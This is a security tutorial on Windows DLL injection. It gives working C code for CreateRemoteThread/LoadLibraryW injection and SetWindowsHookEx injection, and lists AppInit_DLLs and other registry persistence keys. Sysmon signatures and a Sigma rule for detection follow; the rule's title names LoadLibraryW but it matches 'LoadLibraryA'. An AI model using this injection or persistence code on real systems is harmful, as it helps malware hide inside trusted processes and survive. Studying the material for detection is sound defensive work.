DLL Injection
Classic LoadLibrary injection, AppInit_DLLs persistence, SetWindowsHookEx abuse, and registry-based auto-injection — with detection signatures for each
An implant needs to migrate into explorer.exe to blend with normal process activity and survive user-initiated process terminations. Classic DLL injection: allocate memory in explorer.exe, write the DLL path, create a remote thread pointing to LoadLibraryW. The DLL loads, its DllMain runs inside explorer, and the payload executes as a thread within a trusted, long-running process. Three Sysmon events fire: process access (the VirtualAllocEx), process access again (WriteProcessMemory), and then a remote thread creation (CreateRemoteThread). All three together are a reliable injection signature.
Classic DLL Injection (T1055.001)
The standard LoadLibrary injection technique requires PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_CREATE_THREAD access rights on the target process:
// Classic DLL injection via CreateRemoteThread + LoadLibraryW
BOOL InjectDLL(DWORD pid, const wchar_t *dllPath)
{
SIZE_T pathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
HANDLE hProc = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProc) return FALSE;
// Step 1: Allocate RW memory in target for the DLL path string
LPVOID pRemote = VirtualAllocEx(hProc, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Step 2: Write the DLL path into the remote allocation
WriteProcessMemory(hProc, pRemote, dllPath, pathLen, NULL);
// Step 3: Get LoadLibraryW address (same VA in all processes)
LPVOID pLoadLib = GetProcAddress(GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW");
// Step 4: Create a thread in the target starting at LoadLibraryW
// with the remote DLL path as the argument
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLib, pRemote, 0, NULL);
WaitForSingleObject(hThread, 5000);
VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
Classic Injection Flow:
Injector Target (explorer.exe)
─────── ────────────────────
OpenProcess(...)
VirtualAllocEx ─────────────────────── allocate 0x1000 bytes RW
WriteProcessMemory ──────────────────── write "C:\evil.dll\0"
GetProcAddress(LoadLibraryW)
CreateRemoteThread ──────────────────── new thread starts at LoadLibraryW
arg = remote address of DLL path
LoadLibraryW("C:\evil.dll")
→ evil.dll maps into explorer
→ DllMain runs
WaitForSingleObject + cleanup
AppInit_DLLs
AppInit_DLLs is a registry value that causes user32.dll to load specified DLLs into every process that loads user32.dll (which is essentially every GUI process). This was originally designed for input method editors and accessibility hooks:
; Registry keys for AppInit_DLLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
AppInit_DLLs = "C:\evil.dll" <-- DLLs to load
LoadAppInit_DLLs = 1 <-- 0 = disabled, 1 = enabled
RequireSignedAppInit_DLLs = 0 <-- 1 = only load signed DLLs
; 64-bit systems also have Wow6432Node for 32-bit processes:
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows
On Windows 8 and later with Secure Boot enabled, AppInit_DLLs is disabled by default. On Windows 10 with UEFI Secure Boot, even setting LoadAppInit_DLLs = 1 may not work if the system is Secure Boot-enabled. However, many enterprise machines with Secure Boot disabled still have this attack surface. Detection: any modification to AppInit_DLLs registry values is Sysmon Event ID 13 (RegistryValueSet) and is a high-confidence malware indicator.
SetWindowsHookEx Injection
Windows hooks (WH_KEYBOARD, WH_MOUSE, WH_CBT, etc.) allow intercepting system-wide events. The hook callback DLL is loaded into every process in the target thread's desktop:
// SetWindowsHookEx injection: the DLL is loaded into all GUI processes
HHOOK gHook;
// In the injector:
HMODULE hDll = LoadLibraryW(L"C:\\inject.dll");
HOOKPROC pCbk = (HOOKPROC)GetProcAddress(hDll, "HookCallback");
// threadId = 0 means all threads in the current desktop
gHook = SetWindowsHookExW(WH_KEYBOARD, pCbk, hDll, 0);
// Now inject.dll is loaded into every GUI process when keyboard event fires
// The DLL must export the callback function:
// __declspec(dllexport) LRESULT CALLBACK HookCallback(int nCode, WPARAM w, LPARAM l)
// { return CallNextHookEx(gHook, nCode, w, l); }
| Hook Type | Trigger | Injection scope |
|---|---|---|
| WH_KEYBOARD / WH_KEYBOARD_LL | Keyboard input | All GUI processes (LL = low-level, runs in hook installer's process) |
| WH_MOUSE / WH_MOUSE_LL | Mouse input | All GUI processes (LL variant local only) |
| WH_CBT | Computer-Based Training hook (window create/destroy events) | All GUI processes |
| WH_GETMESSAGE | Message queue retrieval | All GUI processes |
| WH_SHELL | Shell events (window activation, task bar changes) | Shell process |
Other Registry-Based Injection
| Key/Value | Injection mechanism | Scope |
|---|---|---|
| HKLM\...\Image File Execution Options\{exe}\VerifierDLLs | Application Verifier injects specified DLL when exe runs | Specific executable only |
| HKLM\...\Image File Execution Options\{exe}\Debugger | Replaces exe with a debugger; debugger can launch original + inject | Specific executable only |
| HKLM\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\{exe} | ATLTracer variant; historical | Specific application |
| HKLM\SYSTEM\...\SessionManager\KnownDLLs | Adding a non-system DLL to KnownDLLs causes all processes to load it (requires admin) | All processes |
Detection Signatures
# Sysmon events for classic DLL injection:
# Event ID 10 (Process Access):
# SourceImage: injector.exe
# GrantedAccess: 0x1FFFFF (PROCESS_ALL_ACCESS) or 0x43A
# (VM_OP + VM_WRITE + CREATE_THREAD)
# TargetImage: explorer.exe / lsass.exe / svchost.exe
# Event ID 8 (CreateRemoteThread):
# SourceImage: injector.exe
# TargetImage: explorer.exe
# StartAddress: ← usually in kernel32.dll range
# Event ID 7 (Image Loaded):
# Image: explorer.exe
# ImageLoaded: C:\Users\...\evil.dll ← loaded into explorer
# Event ID 13 (Registry Value Set):
# TargetObject: *\Windows NT\CurrentVersion\Windows\AppInit_DLLs
# Details: contains DLL path
title: Classic DLL Injection via CreateRemoteThread to LoadLibraryW
logsource:
category: create_remote_thread
product: windows
detection:
selection:
TargetImage|endswith:
- '\explorer.exe'
- '\svchost.exe'
- '\lsass.exe'
StartModule|endswith: '\kernel32.dll'
StartFunction: 'LoadLibraryA'
condition: selection
fields:
- SourceImage
- TargetImage
- StartAddress
- StartFunction
Q & A
Is LoadLibraryW always at the same address across all processes, and can an injector reliably use its local address as the remote thread start address?
Yes, with an important caveat. kernel32.dll is a KnownDLL — it's loaded from a pre-created section object that is mapped at a fixed address (determined by ASLR at boot time) and shared across all processes. Once ASLR assigns kernel32.dll an address at boot, that address is the same for all processes for the duration of that boot session. GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryW") in the injector's process returns the same address that LoadLibraryW is at in every other 64-bit process (and every 32-bit process for the 32-bit kernel32). The caveat: this only applies to DLLs from the same architecture. A 64-bit injector cannot use its own LoadLibraryW address as the thread start address for a 32-bit WOW64 target — different address spaces, different DLL load addresses. For cross-architecture injection, a 64-bit injector must find the 32-bit LoadLibraryW in SysWOW64\kernel32.dll, which involves reading the target process to find where the 32-bit kernel32 loaded. In practice, most injection code (and detection rules) assumes same-architecture injection and uses the injector's own LoadLibraryW address. WOW64 cross-architecture injection requires more work and has more detectable artifacts.
Why doesn't Windows simply block SetWindowsHookEx from loading code into other processes?
SetWindowsHookEx requires the hook DLL to be loaded into the threads being monitored because Windows message processing is synchronous from the perspective of the target thread — the hook callback must run in the context of the thread that's delivering the message. If the hook ran in the installer's process, the target thread would have to switch context to the installer process, run the callback, switch back, and continue — which would be architecturally complex and slower. This is the same design reason that CBT hooks for accessibility tools (screen readers, on-screen keyboards) legitimately need to inject into all GUI processes. Blocking SetWindowsHookEx from cross-process injection would break large categories of accessibility software, remote desktop tools, screen recording software, and input method editors. Microsoft's mitigations instead: UIPI (User Interface Privilege Isolation) prevents lower-IL processes from installing hooks that affect higher-IL processes. Secure Desktop (the UAC prompt) runs in a separate desktop that can't receive hooks from normal processes. For enterprise defense: monitor Sysmon Event ID 7 (Image Loaded) for unexpected DLL loads into critical processes, and flag any DLL that loads into 20+ processes simultaneously — that's a global hook.